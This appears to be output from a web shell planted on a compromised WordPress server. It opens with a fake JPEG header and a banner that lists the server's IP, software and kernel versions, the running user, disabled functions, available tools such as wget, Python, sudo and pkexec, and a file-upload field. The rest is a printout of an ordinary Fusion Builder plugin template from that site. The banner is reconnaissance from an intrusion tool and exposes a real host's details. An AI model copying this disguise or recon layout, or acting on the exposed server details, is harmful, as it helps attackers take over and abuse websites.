????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.57 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/plugins/fusion-builder/inc/ |
Upload File : |
<?php
/**
* Fusion Builder underscore.js templates.
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) { exit; }
/**
* Adds the pagebuilder metabox.
*/
function fusion_pagebuilder_meta_box() {
global $post;
// Add RTL CSS class.
$rtl_class = ( is_rtl() ) ? 'fusion-builder-layout-rtl' : '';
do_action( 'fusion_builder_before' );
wp_nonce_field( 'fusion_builder_template', 'fusion_builder_nonce' );
// Custom CSS.
$saved_custom_css = esc_attr( get_post_meta( $post->ID, '_fusion_builder_custom_css', true ) );
$has_custom_css = ( ! empty( $saved_custom_css ) ) ? 'fusion-builder-has-custom-css' : '';
?>
<div id="fusion_builder_main_container" class="<?php echo $rtl_class; ?>" data-post-id="<?php echo $post->ID; ?>"></div>
<?php
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/app.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/multi-element-sortable-child.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/blank-page.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/container.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/row.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/nested-row.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/modal.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/column.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/nested-column.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/column-library.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/element-library.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/generator-elements.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/element.php' );
include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/element-settings.php' );
do_action( 'fusion_builder_after' );
}
/**
* The template for options.
*
* @param array $params The parameters for the option.
*/
function fusion_element_options_loop( $params ) {
?>
<ul class="fusion-builder-module-settings {{ atts.element_type }}">
<# _.each( <?php echo $params; ?>, function(param) { #>
<# option_value = typeof( atts.added ) !== 'undefined' ? param.value : atts.params[param.param_name] #>
<# if ( param.type == 'select' || param.type == 'multiple_select' || param.type == 'radio_button_set' || param.type == 'checkbox_button_set' ) { #>
<# option_value = ( 'undefined' !== typeof( atts.added ) || '' === atts.params[param.param_name] || 'undefined' === typeof(atts.params[param.param_name]) ) ? param.default : atts.params[param.param_name]; #>
<# }; #>
<# if ( 'fusion_code' === atts.element_type && 1 === Number( FusionPageBuilderApp.disable_encoding ) ) {
option_value = FusionPageBuilderApp.base64Decode( option_value );
} #>
<# option_value = _.unescape(option_value); #>
<# hidden = typeof( param.hidden ) !== 'undefined' ? ' hidden' : '' #>
<# childDependency = typeof( param.child_dependency ) !== 'undefined' ? ' has-child-dependency' : '' #>
<li data-option-id="{{ param.param_name }}" class="fusion-builder-option {{ param.type }}{{ hidden }}{{ childDependency }}">
<div class="option-details">
<# if ( typeof( param.heading ) !== 'undefined' ) { #>
<h3>{{ param.heading }}</h3>
<# }; #>
<# if ( typeof( param.description ) !== 'undefined' ) { #>
<p class="description">{{{ param.description }}}</p>
<# }; #>
</div>
<div class="option-field fusion-builder-option-container">
<?php
$field_types = array(
'textarea',
'textfield',
'range',
'colorpickeralpha',
'colorpicker',
'select',
'upload',
'uploadfile',
'uploadattachment',
'tinymce',
'iconpicker',
'multiple_select',
'checkbox_button_set',
'radio_button_set',
'dimension',
'code',
);
?>
<?php foreach ( $field_types as $field_type ) : ?>
<# if ( '<?php echo $field_type; ?>' == param.type ) { #>
<?php include wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/templates/options/' . $field_type . '.php' ); ?>
<# }; #>
<?php endforeach; ?>
</div>
</li>
<# } ); #>
</ul>
<?php
}